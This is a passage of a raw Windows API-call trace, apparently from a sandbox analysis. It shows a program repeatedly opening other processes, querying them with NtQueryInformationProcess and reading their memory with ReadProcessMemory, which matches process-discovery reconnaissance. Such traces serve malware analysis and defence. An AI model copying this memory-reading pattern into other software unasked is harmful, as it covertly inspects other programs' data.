_Buffer="5712") returned 0x0 [0313.483] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5712") returned 4 [0313.483] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.483] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.484] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1650) returned 0xa9c [0313.484] GetLastError () returned 0x0 [0313.484] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.484] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.484] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.484] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5626e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.485] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x562258, lpBuffer=0x5ec5a0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.485] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.485] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.485] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.485] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x561c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.486] malloc (_Size=0x9c) returned 0xe96b80 [0313.486] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5622ec, lpBuffer=0xe96b80, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe96b80*, lpNumberOfBytesRead=0x0) returned 1 [0313.487] free (_Block=0xe96b80) [0313.487] CloseHandle (hObject=0xa9c) returned 1 [0313.487] _ui64tow_s (in: _Value=0x1658, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5720") returned 0x0 [0313.487] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5720") returned 4 [0313.488] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.488] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.488] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1658) returned 0xa9c [0313.488] GetLastError () returned 0x0 [0313.489] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.489] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.489] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.489] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152680, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.489] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152258, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.489] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.490] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.490] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.490] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x151c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.490] malloc (_Size=0x7c) returned 0xe87af0 [0313.490] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1522cc, lpBuffer=0xe87af0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87af0*, lpNumberOfBytesRead=0x0) returned 1 [0313.491] free (_Block=0xe87af0) [0313.491] CloseHandle (hObject=0xa9c) returned 1 [0313.491] _ui64tow_s (in: _Value=0x1660, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5728") returned 0x0 [0313.492] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5728") returned 4 [0313.492] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.492] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.493] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1660) returned 0xa9c [0313.493] GetLastError () returned 0x0 [0313.493] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.493] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.493] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.493] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.493] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.542] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.542] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.543] malloc (_Size=0x60) returned 0xeb6770 [0313.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722b0, lpBuffer=0xeb6770, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0313.544] free (_Block=0xeb6770) [0313.544] CloseHandle (hObject=0xa9c) returned 1 [0313.544] _ui64tow_s (in: _Value=0x1668, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5736") returned 0x0 [0313.544] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5736") returned 4 [0313.544] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.544] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.545] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1668) returned 0xa9c [0313.545] GetLastError () returned 0x0 [0313.545] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.546] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.546] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.546] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.546] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.546] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.547] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.547] malloc (_Size=0x6c) returned 0xea8a20 [0313.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22bc, lpBuffer=0xea8a20, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8a20*, lpNumberOfBytesRead=0x0) returned 1 [0313.548] free (_Block=0xea8a20) [0313.548] CloseHandle (hObject=0xa9c) returned 1 [0313.548] _ui64tow_s (in: _Value=0x1670, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5744") returned 0x0 [0313.548] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5744") returned 4 [0313.549] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.549] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.550] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1670) returned 0xa9c [0313.550] GetLastError () returned 0x0 [0313.550] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.551] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.551] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.551] malloc (_Size=0x62) returned 0xeb6540 [0313.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22b2, lpBuffer=0xeb6540, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6540*, lpNumberOfBytesRead=0x0) returned 1 [0313.552] free (_Block=0xeb6540) [0313.552] CloseHandle (hObject=0xa9c) returned 1 [0313.552] _ui64tow_s (in: _Value=0x167c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5756") returned 0x0 [0313.552] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5756") returned 4 [0313.553] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.553] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.553] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x167c) returned 0xa9c [0313.554] GetLastError () returned 0x0 [0313.554] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.554] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.554] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.554] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4426d0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.554] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.554] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.555] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.555] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.555] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.555] malloc (_Size=0x96) returned 0xec7340 [0313.555] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422e6, lpBuffer=0xec7340, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7340*, lpNumberOfBytesRead=0x0) returned 1 [0313.556] free (_Block=0xec7340) [0313.556] CloseHandle (hObject=0xa9c) returned 1 [0313.557] _ui64tow_s (in: _Value=0x1684, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5764") returned 0x0 [0313.557] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5764") returned 4 [0313.557] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.557] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.558] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1684) returned 0xa9c [0313.558] GetLastError () returned 0x0 [0313.558] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.558] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.558] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.559] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.559] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.559] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.559] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.559] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.559] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.560] malloc (_Size=0x62) returned 0xeb61c0 [0313.560] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22b2, lpBuffer=0xeb61c0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0313.560] free (_Block=0xeb61c0) [0313.561] CloseHandle (hObject=0xa9c) returned 1 [0313.561] _ui64tow_s (in: _Value=0x169c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5788") returned 0x0 [0313.561] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5788") returned 4 [0313.561] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.561] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.562] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x169c) returned 0xa9c [0313.562] GetLastError () returned 0x0 [0313.562] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.562] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.562] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.563] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.563] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.563] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.563] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.563] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.563] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.564] malloc (_Size=0x74) returned 0xea89a0 [0313.564] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622c4, lpBuffer=0xea89a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea89a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.565] free (_Block=0xea89a0) [0313.565] CloseHandle (hObject=0xa9c) returned 1 [0313.565] _ui64tow_s (in: _Value=0x16a4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5796") returned 0x0 [0313.565] _vsnwprintf (in: 